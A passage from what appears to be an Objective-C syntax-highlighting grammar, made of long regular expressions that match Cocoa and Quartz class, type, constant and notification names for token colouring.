egistry|C(?:o(?:ercionHandler|mmand(?:Description)?)|lassDescription)|ObjectSpecifier|ExecutionContext|WhoseTest)|oll(?:er|View)|een))|t(?:epper(?:Cell)?|atus(?:Bar|Item)|r(?:ing|eam))|imple(?:HorizontalTypesetter|CString)|o(?:cketPort(?:NameServer)?|und|rtDescriptor)|p(?:e(?:cifierTest|ech(?:Recognizer|Synthesizer)|ll(?:Server|Checker))|litView)|e(?:cureTextField(?:Cell)?|t(?:Command)?|archField(?:Cell)?|rializer|gmentedC(?:ontrol|ell))|lider(?:Cell)?|avePanel)|H(?:ost|TTP(?:Cookie(?:Storage)?|URLResponse)|elpManager)|N(?:ib(?:Con(?:nector|trolConnector)|OutletConnector)?|otification(?:Center|Queue)?|u(?:ll|mber(?:Formatter)?)|etService(?:Browser)?|ameSpecifier)|C(?:ha(?:ngeSpelling|racterSet)|o(?:n(?:stantString|nection|trol(?:ler)?|ditionLock)|d(?:ing|er)|unt(?:Command|edSet)|pying|lor(?:Space|P(?:ick(?:ing(?:Custom|Default)|er)|anel)|Well|List)?|m(?:p(?:oundPredicate|arisonPredicate)|boBox(?:Cell)?))|u(?:stomImageRep|rsor)|IImageRep|ell|l(?:ipView|o(?:seCommand|neCommand)|assDescription)|a(?:ched(?:ImageRep|URLResponse)|lendar(?:Date)?)|reateCommand)|T(?:hread|ypesetter|ime(?:Zone|r)|o(?:olbar(?:Item(?:Validations)?)?|kenField(?:Cell)?)|ext(?:Block|Storage|Container|Tab(?:le(?:Block)?)?|Input|View|Field(?:Cell)?|List|Attachment(?:Cell)?)?|a(?:sk|b(?:le(?:Header(?:Cell|View)|Column|View)|View(?:Item)?))|reeController)|I(?:n(?:dex(?:S(?:pecifier|et)|Path)|put(?:Manager|S(?:tream|erv(?:iceProvider|er(?:MouseTracker)?)))|vocation)|gnoreMisspelledWords|mage(?:Rep|Cell|View)?)|O(?:ut(?:putStream|lineView)|pen(?:GL(?:Context|Pixel(?:Buffer|Format)|View)|Panel)|bj(?:CTypeSerializationCallBack|ect(?:Controller)?))|D(?:i(?:st(?:antObject(?:Request)?|ributed(?:NotificationCenter|Lock))|ctionary|rectoryEnumerator)|ocument(?:Controller)?|e(?:serializer|cimalNumber(?:Behaviors|Handler)?|leteCommand)|at(?:e(?:Components|Picker(?:Cell)?|Formatter)?|a)|ra(?:wer|ggingInfo))|U(?:ser(?:InterfaceValidations|Defaults(?:Controller)?)|RL(?:Re(?:sponse|quest)|Handle(?:Client)?|C(?:onnection|ache|redential(?:Storage)?)|Download(?:Delegate)?|Prot(?:ocol(?:Client)?|ectionSpace)|AuthenticationChallenge(?:Sender)?)?|n(?:iqueIDSpecifier|doManager|archiver))|P(?:ipe|o(?:sitionalSpecifier|pUpButton(?:Cell)?|rt(?:Message|NameServer|Coder)?)|ICTImageRep|ersistentDocument|DFImageRep|a(?:steboard|nel|ragraphStyle|geLayout)|r(?:int(?:Info|er|Operation|Panel)|o(?:cessInfo|tocolChecker|perty(?:Specifier|ListSerialization)|gressIndicator|xy)|edicate))|E(?:numerator|vent|PSImageRep|rror|x(?:ception|istsCommand|pression))|V(?:iew(?:Animation)?|al(?:idated(?:ToobarItem|UserInterfaceItem)|ue(?:Transformer)?))|Keyed(?:Unarchiver|Archiver)|Qui(?:ckDrawView|tCommand)|F(?:ile(?:Manager|Handle|Wrapper)|o(?:nt(?:Manager|Descriptor|Panel)?|rm(?:Cell|atter)))|W(?:hoseSpecifier|indow(?:Controller)?|orkspace)|L(?:o(?:c(?:k(?:ing)?|ale)|gicalTest)|evelIndicator(?:Cell)?|ayoutManager)|A(?:ssertionHandler|nimation|ctionCell|ttributedString|utoreleasePool|TSTypesetter|ppl(?:ication|e(?:Script|Event(?:Manager|Descriptor)))|ffineTransform|lert|r(?:chiver|ray(?:Controller)?))))(?:\\\\b)\"},{token:[\"support.type.cocoa.leopard\"],regex:\"(?:\\\\b)(NS(?:R(?:u(?:nLoop|ler(?:Marker|View))|e(?:sponder|cursiveLock|lativeSpecifier)|an(?:domSpecifier|geSpecifier))|G(?:etCommand|lyph(?:Generator|Storage|Info)|raphicsContext)|XML(?:Node|D(?:ocument|TD(?:Node)?)|Parser|Element)|M(?:iddleSpecifier|ov(?:ie(?:View)?|eCommand)|utable(?:S(?:tring|et)|C(?:haracterSet|opying)|IndexSet|D(?:ictionary|ata)|URLRequest|ParagraphStyle|A(?:ttributedString|rray))|e(?:ssagePort(?:NameServer)?|nu(?:Item(?:Cell)?|View)?|t(?:hodSignature|adata(?:Item|Query(?:ResultGroup|AttributeValueTuple)?)))|a(?:ch(?:BootstrapServer|Port)|trix))|B(?:itmapImageRep|ox|u(?:ndle|tton(?:Cell)?)|ezierPath|rowser(?:Cell)?)|S(?:hadow|c(?:anner|r(?:ipt(?:SuiteRegistry|C(?:o(?:ercionHandler|mmand(?:Description)?)|lassDescription)|ObjectSpecifier|ExecutionContext|WhoseTest)|oll(?:er|View)|een))|t(?:epper(?:Cell)?|atus(?:Bar|Item)|r(?:ing|eam))|imple(?:HorizontalTypesetter|CString)|o(?:cketPort(?:NameServer)?|und|rtDescriptor)|p(?:e(?:cifierTest|ech(?:Recognizer|Synthesizer)|ll(?:Server|Checker))|litView)|e(?:cureTextField(?:Cell)?|t(?:Command)?|archField(?:Cell)?|rializer|gmentedC(?:ontrol|ell))|lider(?:Cell)?|avePanel)|H(?:ost|TTP(?:Cookie(?:Storage)?|URLResponse)|elpManager)|N(?:ib(?:Con(?:nector|trolConnector)|OutletConnector)?|otification(?:Center|Queue)?|u(?:ll|mber(?:Formatter)?)|etService(?:Browser)?|ameSpecifier)|C(?:ha(?:ngeSpelling|racterSet)|o(?:n(?:stantString|nection|trol(?:ler)?|ditionLock)|d(?:ing|er)|unt(?:Command|edSet)|pying|lor(?:Space|P(?:ick(?:ing(?:Custom|Default)|er)|anel)|Well|List)?|m(?:p(?:oundPredicate|arisonPredicate)|boBox(?:Cell)?))|u(?:stomImageRep|rsor)|IImageRep|ell|l(?:ipView|o(?:seCommand|neCommand)|assDescription)|a(?:ched(?:ImageRep|URLResponse)|lendar(?:Date)?)|reateCommand)|T(?:hread|ypesetter|ime(?:Zone|r)|o(?:olbar(?:Item(?:Validations)?)?|kenField(?:Cell)?)|ext(?:Block|Storage|Container|Tab(?:le(?:Block)?)?|Input|View|Field(?:Cell)?|List|Attachment(?:Cell)?)?|a(?:sk|b(?:le(?:Header(?:Cell|View)|Column|View)|View(?:Item)?))|reeController)|I(?:n(?:dex(?:S(?:pecifier|et)|Path)|put(?:Manager|S(?:tream|erv(?:iceProvider|er(?:MouseTracker)?)))|vocation)|gnoreMisspelledWords|mage(?:Rep|Cell|View)?)|O(?:ut(?:putStream|lineView)|pen(?:GL(?:Context|Pixel(?:Buffer|Format)|View)|Panel)|bj(?:CTypeSerializationCallBack|ect(?:Controller)?))|D(?:i(?:st(?:antObject(?:Request)?|ributed(?:NotificationCenter|Lock))|ctionary|rectoryEnumerator)|ocument(?:Controller)?|e(?:serializer|cimalNumber(?:Behaviors|Handler)?|leteCommand)|at(?:e(?:Components|Picker(?:Cell)?|Formatter)?|a)|ra(?:wer|ggingInfo))|U(?:ser(?:InterfaceValidations|Defaults(?:Controller)?)|RL(?:Re(?:sponse|quest)|Handle(?:Client)?|C(?:onnection|ache|redential(?:Storage)?)|Download(?:Delegate)?|Prot(?:ocol(?:Client)?|ectionSpace)|AuthenticationChallenge(?:Sender)?)?|n(?:iqueIDSpecifier|doManager|archiver))|P(?:ipe|o(?:sitionalSpecifier|pUpButton(?:Cell)?|rt(?:Message|NameServer|Coder)?)|ICTImageRep|ersistentDocument|DFImageRep|a(?:steboard|nel|ragraphStyle|geLayout)|r(?:int(?:Info|er|Operation|Panel)|o(?:cessInfo|tocolChecker|perty(?:Specifier|ListSerialization)|gressIndicator|xy)|edicate))|E(?:numerator|vent|PSImageRep|rror|x(?:ception|istsCommand|pression))|V(?:iew(?:Animation)?|al(?:idated(?:ToobarItem|UserInterfaceItem)|ue(?:Transformer)?))|Keyed(?:Unarchiver|Archiver)|Qui(?:ckDrawView|tCommand)|F(?:ile(?:Manager|Handle|Wrapper)|o(?:nt(?:Manager|Descriptor|Panel)?|rm(?:Cell|atter)))|W(?:hoseSpecifier|indow(?:Controller)?|orkspace)|L(?:o(?:c(?:k(?:ing)?|ale)|gicalTest)|evelIndicator(?:Cell)?|ayoutManager)|A(?:ssertionHandler|nimation|ctionCell|ttributedString|utoreleasePool|TSTypesetter|ppl(?:ication|e(?:Script|Event(?:Manager|Descriptor)))|ffineTransform|lert|r(?:chiver|ray(?:Controller)?))))(?:\\\\b)\"},{token:[\"support.class.quartz\"],regex:\"(?:\\\\b)(C(?:I(?:Sampler|Co(?:ntext|lor)|Image(?:Accumulator)?|PlugIn(?:Registration)?|Vector|Kernel|Filter(?:Generator|Shape)?)|A(?:Renderer|MediaTiming(?:Function)?|BasicAnimation|ScrollLayer|Constraint(?:LayoutManager)?|T(?:iledLayer|extLayer|rans(?:ition|action))|OpenGLLayer|PropertyAnimation|KeyframeAnimation|Layer|A(?:nimation(?:Group)?|ction))))(?:\\\\b)\"},{token:[\"support.type.quartz\"],regex:\"(?:\\\\b)(C(?:G(?:Float|Point|Size|Rect)|IFormat|AConstraintAttribute))(?:\\\\b)\"},{token:[\"support.type.cocoa\"],regex:\"(?:\\\\b)(NS(?:R(?:ect(?:Edge)?|ange)|G(?:lyph(?:Relation|LayoutMode)?|radientType)|M(?:odalSession|a(?:trixMode|p(?:Table|Enumerator)))|B(?:itmapImageFileType|orderType|uttonType|ezelStyle|ackingStoreType|rowserColumnResizingType)|S(?:cr(?:oll(?:er(?:Part|Arrow)|ArrowPosition)|eenAuxiliaryOpaque)|tringEncoding|ize|ocketNativeHandle|election(?:Granularity|Direction|Affinity)|wapped(?:Double|Float)|aveOperationType)|Ha(?:sh(?:Table|Enumerator)|ndler(?:2)?)|C(?:o(?:ntrol(?:Size|Tint)|mp(?:ositingOperation|arisonResult))|ell(?:State|Type|ImagePosition|Attribute))|T(?:hreadPrivate|ypesetterGlyphInfo|i(?:ckMarkPosition|tlePosition|meInterval)|o(?:ol(?:TipTag|bar(?:SizeMode|DisplayMode))|kenStyle)|IFFCompression|ext(?:TabType|Alignment)|ab(?:State|leViewDropOperation|ViewType)|rackingRectTag)|ImageInterpolation|Zone|OpenGL(?:ContextAuxiliary|PixelFormatAuxiliary)|D(?:ocumentChangeType|atePickerElementFlags|ra(?:werState|gOperation))|UsableScrollerParts|P(?:oint|r(?:intingPageOrder|ogressIndicator(?:Style|Th(?:ickness|readInfo))))|EventType|KeyValueObservingOptions|Fo(?:nt(?:SymbolicTraits|TraitMask|Action)|cusRingType)|W(?:indow(?:OrderingMode|Depth)|orkspace(?:IconCreationOptions|LaunchOptions)|ritingDirection)|L(?:ineBreakMode|ayout(?:Status|Direction))|A(?:nimation(?:Progress|Effect)|ppl(?:ication(?:TerminateReply|DelegateReply|PrintReply)|eEventManagerSuspensionID)|ffineTransformStruct|lertStyle)))(?:\\\\b)\"},{token:[\"support.constant.cocoa\"],regex:\"(?:\\\\b)(NS(?:NotFound|Ordered(?:Ascending|Descending|Same)))(?:\\\\b)\"},{token:[\"support.constant.notification.cocoa.leopard\"],regex:\"(?:\\\\b)(NS(?:MenuDidBeginTracking|ViewDidUpdateTrackingAreas)?Notification)(?:\\\\b)\"},{token:[\"support.constant.notification.cocoa\"],regex:\"(?:\\\\b)(NS(?:Menu(?:Did(?:RemoveItem|SendAction|ChangeItem|EndTracking|AddItem)|WillSendAction)|S(?:ystemColorsDidChange|plitView(?:DidResizeSubviews|WillResizeSubviews))|C(?:o(?:nt(?:extHelpModeDid(?:Deactivate|Activate)|rolT(?:intDidChange|extDid(?:BeginEditing|Change|EndEditing)))|lor(?:PanelColorDidChange|ListDidChange)|mboBox(?:Selection(?:IsChanging|DidChange)|Will(?:Dismiss|PopUp)))|lassDescriptionNeededForClass)|T(?:oolbar(?:DidRemoveItem|WillAddItem)|ext(?:Storage(?:DidProcessEditing|WillProcessEditing)|Did(?:BeginEditing|Change|EndEditing)|View(?:DidChange(?:Selection|TypingAttributes)|WillChangeNotifyingTextView))|ableView(?:Selection(?:IsChanging|DidChange)|ColumnDid(?:Resize|Move)))|ImageRepRegistryDidChange|OutlineView(?:Selection(?:IsChanging|DidChange)|ColumnDid(?:Resize|Move)|Item(?:Did(?:Collapse|Expand)|Will(?:Collapse|Expand)))|Drawer(?:Did(?:Close|Open)|Will(?:Close|Open))|PopUpButton(?:CellWillPopUp|WillPopUp)|View(?:GlobalFrameDidChange|BoundsDidChange|F(?:ocusDidChange|rameDidChange))|FontSetChanged|W(?:indow(?:Did(?:Resi(?:ze|gn(?:Main|Key))|M(?:iniaturize|ove)|Become(?:Main|Key)|ChangeScreen(?:|Profile)|Deminiaturize|Update|E(?:ndSheet|xpose))|Will(?:M(?:iniaturize|ove)|BeginSheet|Close))|orkspace(?:SessionDid(?:ResignActive|BecomeActive)|Did(?:Mount|TerminateApplication|Unmount|PerformFileOperation|Wake|LaunchApplication)|Will(?:Sleep|Unmount|PowerOff|LaunchApplication)))|A(?:ntialiasThresholdChanged|ppl(?:ication(?:Did(?:ResignActive|BecomeActive|Hide|ChangeScreenParameters|U(?:nhide|pdate)|FinishLaunching)|Will(?:ResignActive|BecomeActive|Hide|Terminate|U(?:nhide|pdate)|FinishLaunching))|eEventManagerWillProcessFirstEvent)))Notification)(?:\\\\b)\"},{token:[\"support.constant.cocoa.leopard\"],regex:\"(?:\\\\b)(NS(?:RuleEditor(?:RowType(?:Simple|Compound)|NestingMode(?:Si(?:ngle|mple)|Compound|List))|GradientDraws(?:BeforeStartingLocation|AfterEndingLocation)|M(?:inusSetExpressionType|a(?:chPortDeallocate(?:ReceiveRight|SendRight|None)|pTable(?:StrongMemory|CopyIn|ZeroingWeakMemory|ObjectPointerPersonality)))|B(?:oxCustom|undleExecutableArchitecture(?:X86|I386|PPC(?:64)?)|etweenPredicateOperatorType|ackgroundStyle(?:Raised|Dark|L(?:ight|owered)))|S(?:tring(?:DrawingTruncatesLastVisibleLine|EncodingConversion(?:ExternalRepresentation|AllowLossy))|ubqueryExpressionType|p(?:e(?:ech(?:SentenceBoundary|ImmediateBoundary|WordBoundary)|llingState(?:GrammarFlag|SpellingFlag))|litViewDividerStyleThi(?:n|ck))|e(?:rvice(?:RequestTimedOutError|M(?:iscellaneousError|alformedServiceDictionaryError)|InvalidPasteboardDataError|ErrorM(?:inimum|aximum)|Application(?:NotFoundError|LaunchFailedError))|gmentStyle(?:Round(?:Rect|ed)|SmallSquare|Capsule|Textured(?:Rounded|Square)|Automatic)))|H(?:UDWindowMask|ashTable(?:StrongMemory|CopyIn|ZeroingWeakMemory|ObjectPointerPersonality))|N(?:oModeColorPanel|etServiceNoAutoRename)|C(?:hangeRedone|o(?:ntainsPredicateOperatorType|l(?:orRenderingIntent(?:RelativeColorimetric|Saturation|Default|Perceptual|AbsoluteColorimetric)|lectorDisabledOption))|ellHit(?:None|ContentArea|TrackableArea|EditableTextArea))|T(?:imeZoneNameStyle(?:S(?:hort(?:Standard|DaylightSaving)|tandard)|DaylightSaving)|extFieldDatePickerStyle|ableViewSelectionHighlightStyle(?:Regular|SourceList)|racking(?:Mouse(?:Moved|EnteredAndExited)|CursorUpdate|InVisibleRect|EnabledDuringMouseDrag|A(?:ssumeInside|ctive(?:In(?:KeyWindow|ActiveApp)|WhenFirstResponder|Always))))|I(?:n(?:tersectSetExpressionType|dexedColorSpaceModel)|mageScale(?:None|Proportionally(?:Down|UpOrDown)|AxesIndependently))|Ope(?:nGLPFAAllowOfflineRenderers|rationQueue(?:DefaultMaxConcurrentOperationCount|Priority(?:High|Normal|Very(?:High|Low)|Low)))|D(?:iacriticInsensitiveSearch|ownloadsDirectory)|U(?:nionSetExpressionType|TF(?:16(?:BigEndianStringEncoding|StringEncoding|LittleEndianStringEncoding)|32(?:BigEndianStringEncoding|StringEncoding|LittleEndianStringEncoding)))|P(?:ointerFunctions(?:Ma(?:chVirtualMemory|llocMemory)|Str(?:ongMemory|uctPersonality)|C(?:StringPersonality|opyIn)|IntegerPersonality|ZeroingWeakMemory|O(?:paque(?:Memory|Personality)|bjectP(?:ointerPersonality|ersonality)))|at(?:hStyle(?:Standard|NavigationBar|PopUp)|ternColorSpaceModel)|rintPanelShows(?:Scaling|Copies|Orientation|P(?:a(?:perSize|ge(?:Range|SetupAccessory))|review)))|Executable(?:RuntimeMismatchError|NotLoadableError|ErrorM(?:inimum|aximum)|L(?:inkError|oadError)|ArchitectureMismatchError)|KeyValueObservingOption(?:Initial|Prior)|F(?:i(?:ndPanelSubstringMatchType(?:StartsWith|Contains|EndsWith|FullWord)|leRead(?:TooLargeError|UnknownStringEncodingError))|orcedOrderingSearch)|Wi(?:ndow(?:BackingLocation(?:MainMemory|Default|VideoMemory)|Sharing(?:Read(?:Only|Write)|None)|CollectionBehavior(?:MoveToActiveSpace|CanJoinAllSpaces|Default))|dthInsensitiveSearch)|AggregateExpressionType))(?:\\\\b)\"},{token:[\"support.constant.cocoa\"],regex:\"(?:\\\\b)(NS(?:R(?:GB(?:ModeColorPanel|ColorSpaceModel)|ight(?:Mouse(?:D(?:own(?:Mask)?|ragged(?:Mask)?)|Up(?:Mask)?)|T(?:ext(?:Movement|Alignment)|ab(?:sBezelBorder|StopType))|ArrowFunctionKey)|ound(?:RectBezelStyle|Bankers|ed(?:BezelStyle|TokenStyle|DisclosureBezelStyle)|Down|Up|Plain|Line(?:CapStyle|JoinStyle))|un(?:StoppedResponse|ContinuesResponse|AbortedResponse)|e(?:s(?:izableWindowMask|et(?:CursorRectsRunLoopOrdering|FunctionKey))|ce(?:ssedBezelStyle|iver(?:sCantHandleCommandScriptError|EvaluationScriptError))|turnTextMovement|doFunctionKey|quiredArgumentsMissingScriptError|l(?:evancyLevelIndicatorStyle|ative(?:Before|After))|gular(?:SquareBezelStyle|ControlSize)|moveTraitFontAction)|a(?:n(?:domSubelement|geDateMode)|tingLevelIndicatorStyle|dio(?:ModeMatrix|Button)))|G(?:IFFileType|lyph(?:Below|Inscribe(?:B(?:elow|ase)|Over(?:strike|Below)|Above)|Layout(?:WithPrevious|A(?:tAPoint|gainstAPoint))|A(?:ttribute(?:BidiLevel|Soft|Inscribe|Elastic)|bove))|r(?:ooveBorder|eaterThan(?:Comparison|OrEqualTo(?:Comparison|PredicateOperatorType)|PredicateOperatorType)|a(?:y(?:ModeColorPanel|ColorSpaceModel)|dient(?:None|Con(?:cave(?:Strong|Weak)|vex(?:Strong|Weak)))|phiteControlTint)))|XML(?:N(?:o(?:tationDeclarationKind|de(?:CompactEmptyElement|IsCDATA|OptionsNone|Use(?:SingleQuotes|DoubleQuotes)|Pre(?:serve(?:NamespaceOrder|C(?:haracterReferences|DATA)|DTD|Prefixes|E(?:ntities|mptyElements)|Quotes|Whitespace|A(?:ttributeOrder|ll))|ttyPrint)|ExpandEmptyElement))|amespaceKind)|CommentKind|TextKind|InvalidKind|D(?:ocument(?:X(?:MLKind|HTMLKind|Include)|HTMLKind|T(?:idy(?:XML|HTML)|extKind)|IncludeContentTypeDeclaration|Validate|Kind)|TDKind)|P(?:arser(?:GTRequiredError|XMLDeclNot(?:StartedError|FinishedError)|Mi(?:splaced(?:XMLDeclarationError|CDATAEndStringError)|xedContentDeclNot(?:StartedError|FinishedError))|S(?:t(?:andaloneValueError|ringNot(?:StartedError|ClosedError))|paceRequiredError|eparatorRequiredError)|N(?:MTOKENRequiredError|o(?:t(?:ationNot(?:StartedError|FinishedError)|WellBalancedError)|DTDError)|amespaceDeclarationError|AMERequiredError)|C(?:haracterRef(?:In(?:DTDError|PrologError|EpilogError)|AtEOFError)|o(?:nditionalSectionNot(?:StartedError|FinishedError)|mment(?:NotFinishedError|ContainsDoubleHyphenError))|DATANotFinishedError)|TagNameMismatchError|In(?:ternalError|valid(?:HexCharacterRefError|C(?:haracter(?:RefError|InEntityError|Error)|onditionalSectionError)|DecimalCharacterRefError|URIError|Encoding(?:NameError|Error)))|OutOfMemoryError|D(?:ocumentStartError|elegateAbortedParseError|OCTYPEDeclNotFinishedError)|U(?:RI(?:RequiredError|FragmentError)|n(?:declaredEntityError|parsedEntityError|knownEncodingError|finishedTagError))|P(?:CDATARequiredError|ublicIdentifierRequiredError|arsedEntityRef(?:MissingSemiError|NoNameError|In(?:Internal(?:SubsetError|Error)|PrologError|EpilogError)|AtEOFError)|r(?:ocessingInstructionNot(?:StartedError|FinishedError)|ematureDocumentEndError))|E(?:n(?:codingNotSupportedError|tity(?:Ref(?:In(?:DTDError|PrologError|EpilogError)|erence(?:MissingSemiError|WithoutNameError)|LoopError|AtEOFError)|BoundaryError|Not(?:StartedError|FinishedError)|Is(?:ParameterError|ExternalError)|ValueRequiredError))|qualExpectedError|lementContentDeclNot(?:StartedError|FinishedError)|xt(?:ernalS(?:tandaloneEntityError|ubsetNotFinishedError)|raContentError)|mptyDocumentError)|L(?:iteralNot(?:StartedError|FinishedError)|T(?:RequiredError|SlashRequiredError)|essThanSymbolInAttributeError)|Attribute(?:RedefinedError|HasNoValueError|Not(?:StartedError|FinishedError)|ListNot(?:StartedError|FinishedError)))|rocessingInstructionKind)|E(?:ntity(?:GeneralKind|DeclarationKind|UnparsedKind|P(?:ar(?:sedKind|ameterKind)|redefined))|lement(?:Declaration(?:MixedKind|UndefinedKind|E(?:lementKind|mptyKind)|Kind|AnyKind)|Kind))|Attribute(?:N(?:MToken(?:sKind|Kind)|otationKind)|CDATAKind|ID(?:Ref(?:sKind|Kind)|Kind)|DeclarationKind|En(?:tit(?:yKind|iesKind)|umerationKind)|Kind))|M(?:i(?:n(?:XEdge|iaturizableWindowMask|YEdge|uteCalendarUnit)|terLineJoinStyle|ddleSubelement|xedState)|o(?:nthCalendarUnit|deSwitchFunctionKey|use(?:Moved(?:Mask)?|E(?:ntered(?:Mask)?|ventSubtype|xited(?:Mask)?))|veToBezierPathElement|mentary(?:ChangeButton|Push(?:Button|InButton)|Light(?:Button)?))|enuFunctionKey|a(?:c(?:intoshInterfaceStyle|OSRomanStringEncoding)|tchesPredicateOperatorType|ppedRead|x(?:XEdge|YEdge))|ACHOperatingSystem)|B(?:MPFileType|o(?:ttomTabsBezelBorder|ldFontMask|rderlessWindowMask|x(?:Se(?:condary|parator)|OldStyle|Primary))|uttLineCapStyle|e(?:zelBorder|velLineJoinStyle|low(?:Bottom|Top)|gin(?:sWith(?:Comparison|PredicateOperatorType)|FunctionKey))|lueControlTint|ack(?:spaceCharacter|tabTextMovement|ingStore(?:Retained|Buffered|Nonretained)|TabCharacter|wardsSearch|groundTab)|r(?:owser(?:NoColumnResizing|UserColumnResizing|AutoColumnResizing)|eakFunctionKey))|S(?:h(?:ift(?:JISStringEncoding|KeyMask)|ow(?:ControlGlyphs|InvisibleGlyphs)|adowlessSquareBezelStyle)|y(?:s(?:ReqFunctionKey|tem(?:D(?:omainMask|efined(?:Mask)?)|FunctionKey))|mbolStringEncoding)|c(?:a(?:nnedOption|le(?:None|ToFit|Proportionally))|r(?:oll(?:er(?:NoPart|Increment(?:Page|Line|Arrow)|Decrement(?:Page|Line|Arrow)|Knob(?:Slot)?|Arrows(?:M(?:inEnd|axEnd)|None|DefaultSetting))|Wheel(?:Mask)?|LockFunctionKey)|eenChangedEventType))|t(?:opFunctionKey|r(?:ingDrawing(?:OneShot|DisableScreenFontSubstitution|Uses(?:DeviceMetrics|FontLeading|LineFragmentOrigin))|eam(?:Status(?:Reading|NotOpen|Closed|Open(?:ing)?|Error|Writing|AtEnd)|Event(?:Has(?:BytesAvailable|SpaceAvailable)|None|OpenCompleted|E(?:ndEncountered|rrorOccurred)))))|i(?:ngle(?:DateMode|UnderlineStyle)|ze(?:DownFontAction|UpFontAction))|olarisOperatingSystem|unOSOperatingSystem|pecialPageOrder|e(?:condCalendarUnit|lect(?:By(?:Character|Paragraph|Word)|i(?:ng(?:Next|Previous)|onAffinity(?:Downstream|Upstream))|edTab|FunctionKey)|gmentSwitchTracking(?:Momentary|Select(?:One|Any)))|quareLineCapStyle|witchButton|ave(?:ToOperation|Op(?:tions(?:Yes|No|Ask)|eration)|AsOperation)|mall(?:SquareBezelStyle|C(?:ontrolSize|apsFontMask)|IconButtonBezelStyle))|H(?:ighlightModeMatrix|SBModeColorPanel|o(?:ur(?:Minute(?:SecondDatePickerElementFlag|DatePickerElementFlag)|CalendarUnit)|rizontalRuler|meFunctionKey)|TTPCookieAcceptPolicy(?:Never|OnlyFromMainDocumentDomain|Always)|e(?:lp(?:ButtonBezelStyle|KeyMask|FunctionKey)|avierFontAction)|PUXOperatingSystem)|Year(?:MonthDa(?:yDatePickerElementFlag|tePickerElementFlag)|CalendarUnit)|N(?:o(?:n(?:StandardCharacterSetFontMask|ZeroWindingRule|activatingPanelMask|LossyASCIIStringEncoding)|Border|t(?:ification(?:SuspensionBehavior(?:Hold|Coalesce|D(?:eliverImmediately|rop))|NoCoalescing|CoalescingOn(?:Sender|Name)|DeliverImmediately|PostToAllSessions)|PredicateType|EqualToPredicateOperatorType)|S(?:cr(?:iptError|ollerParts)|ubelement|pecifierError)|CellMask|T(?:itle|opLevelContainersSpecifierError|abs(?:BezelBorder|NoBorder|LineBorder))|I(?:nterfaceStyle|mage)|UnderlineStyle|FontChangeAction)|u(?:ll(?:Glyph|CellType)|m(?:eric(?:Search|PadKeyMask)|berFormatter(?:Round(?:Half(?:Down|Up|Even)|Ceiling|Down|Up|Floor)|Behavior(?:10|Default)|S(?:cientificStyle|pellOutStyle)|NoStyle|CurrencyStyle|DecimalStyle|P(?:ercentStyle|ad(?:Before(?:Suffix|Prefix)|After(?:Suffix|Prefix))))))|e(?:t(?:Services(?:BadArgumentError|NotFoundError|C(?:ollisionError|ancelledError)|TimeoutError|InvalidError|UnknownError|ActivityInProgress)|workDomainMask)|wlineCharacter|xt(?:StepInterfaceStyle|FunctionKey))|EXTSTEPStringEncoding|a(?:t(?:iveShortGlyphPacking|uralTextAlignment)|rrowFontMask))|C(?:hange(?:ReadOtherContents|GrayCell(?:Mask)?|BackgroundCell(?:Mask)?|Cleared|Done|Undone|Autosaved)|MYK(?:ModeColorPanel|ColorSpaceModel)|ircular(?:BezelStyle|Slider)|o(?:n(?:stantValueExpressionType|t(?:inuousCapacityLevelIndicatorStyle|entsCellMask|ain(?:sComparison|erSpecifierError)|rol(?:Glyph|KeyMask))|densedFontMask)|lor(?:Panel(?:RGBModeMask|GrayModeMask|HSBModeMask|C(?:MYKModeMask|olorListModeMask|ustomPaletteModeMask|rayonModeMask)|WheelModeMask|AllModesMask)|ListModeColorPanel)|reServiceDirectory|m(?:p(?:osite(?:XOR|Source(?:In|O(?:ut|ver)|Atop)|Highlight|C(?:opy|lear)|Destination(?:In|O(?:ut|ver)|Atop)|Plus(?:Darker|Lighter))|ressedFontMask)|mandKeyMask))|u(?:stom(?:SelectorPredicateOperatorType|PaletteModeColorPanel)|r(?:sor(?:Update(?:Mask)?|PointingDevice)|veToBezierPathElement))|e(?:nterT(?:extAlignment|abStopType)|ll(?:State|H(?:ighlighted|as(?:Image(?:Horizontal|OnLeftOrBottom)|OverlappingImage))|ChangesContents|Is(?:Bordered|InsetButton)|Disabled|Editable|LightsBy(?:Gray|Background|Contents)|AllowsMixedState))|l(?:ipPagination|o(?:s(?:ePathBezierPathElement|ableWindowMask)|ckAndCalendarDatePickerStyle)|ear(?:ControlTint|DisplayFunctionKey|LineFunctionKey))|a(?:seInsensitive(?:Search|PredicateOption)|n(?:notCreateScriptCommandError|cel(?:Button|TextMovement))|chesDirectory|lculation(?:NoError|Overflow|DivideByZero|Underflow|LossOfPrecision)|rriageReturnCharacter)|r(?:itical(?:Request|AlertStyle)|ayonModeColorPanel))|T(?:hick(?:SquareBezelStyle|erSquareBezelStyle)|ypesetter(?:Behavior|HorizontalTabAction|ContainerBreakAction|ZeroAdvancementAction|OriginalBehavior|ParagraphBreakAction|WhitespaceAction|L(?:ineBreakAction|atestBehavior))|i(?:ckMark(?:Right|Below|Left|Above)|tledWindowMask|meZoneDatePickerElementFlag)|o(?:olbarItemVisibilityPriority(?:Standard|High|User|Low)|pTabsBezelBorder|ggleButton)|IFF(?:Compression(?:N(?:one|EXT)|CCITTFAX(?:3|4)|OldJPEG|JPEG|PackBits|LZW)|FileType)|e(?:rminate(?:Now|Cancel|Later)|xt(?:Read(?:InapplicableDocumentTypeError|WriteErrorM(?:inimum|aximum))|Block(?:M(?:i(?:nimum(?:Height|Width)|ddleAlignment)|a(?:rgin|ximum(?:Height|Width)))|B(?:o(?:ttomAlignment|rder)|aselineAlignment)|Height|TopAlignment|P(?:ercentageValueType|adding)|Width|AbsoluteValueType)|StorageEdited(?:Characters|Attributes)|CellType|ured(?:RoundedBezelStyle|BackgroundWindowMask|SquareBezelStyle)|Table(?:FixedLayoutAlgorithm|AutomaticLayoutAlgorithm)|Field(?:RoundedBezel|SquareBezel|AndStepperDatePickerStyle)|WriteInapplicableDocumentTypeError|ListPrependEnclosingMarker))|woByteGlyphPacking|ab(?:Character|TextMovement|le(?:tP(?:oint(?:Mask|EventSubtype)?|roximity(?:Mask|EventSubtype)?)|Column(?:NoResizing|UserResizingMask|AutoresizingMask)|View(?:ReverseSequentialColumnAutoresizingStyle|GridNone|S(?:olid(?:HorizontalGridLineMask|VerticalGridLineMask)|equentialColumnAutoresizingStyle)|NoColumnAutoresizing|UniformColumnAutoresizingStyle|FirstColumnOnlyAutoresizingStyle|LastColumnOnlyAutoresizingStyle)))|rackModeMatrix)|I(?:n(?:sert(?:CharFunctionKey|FunctionKey|LineFunctionKey)|t(?:Type|ernalS(?:criptError|pecifierError))|dexSubelement|validIndexSpecifierError|formational(?:Re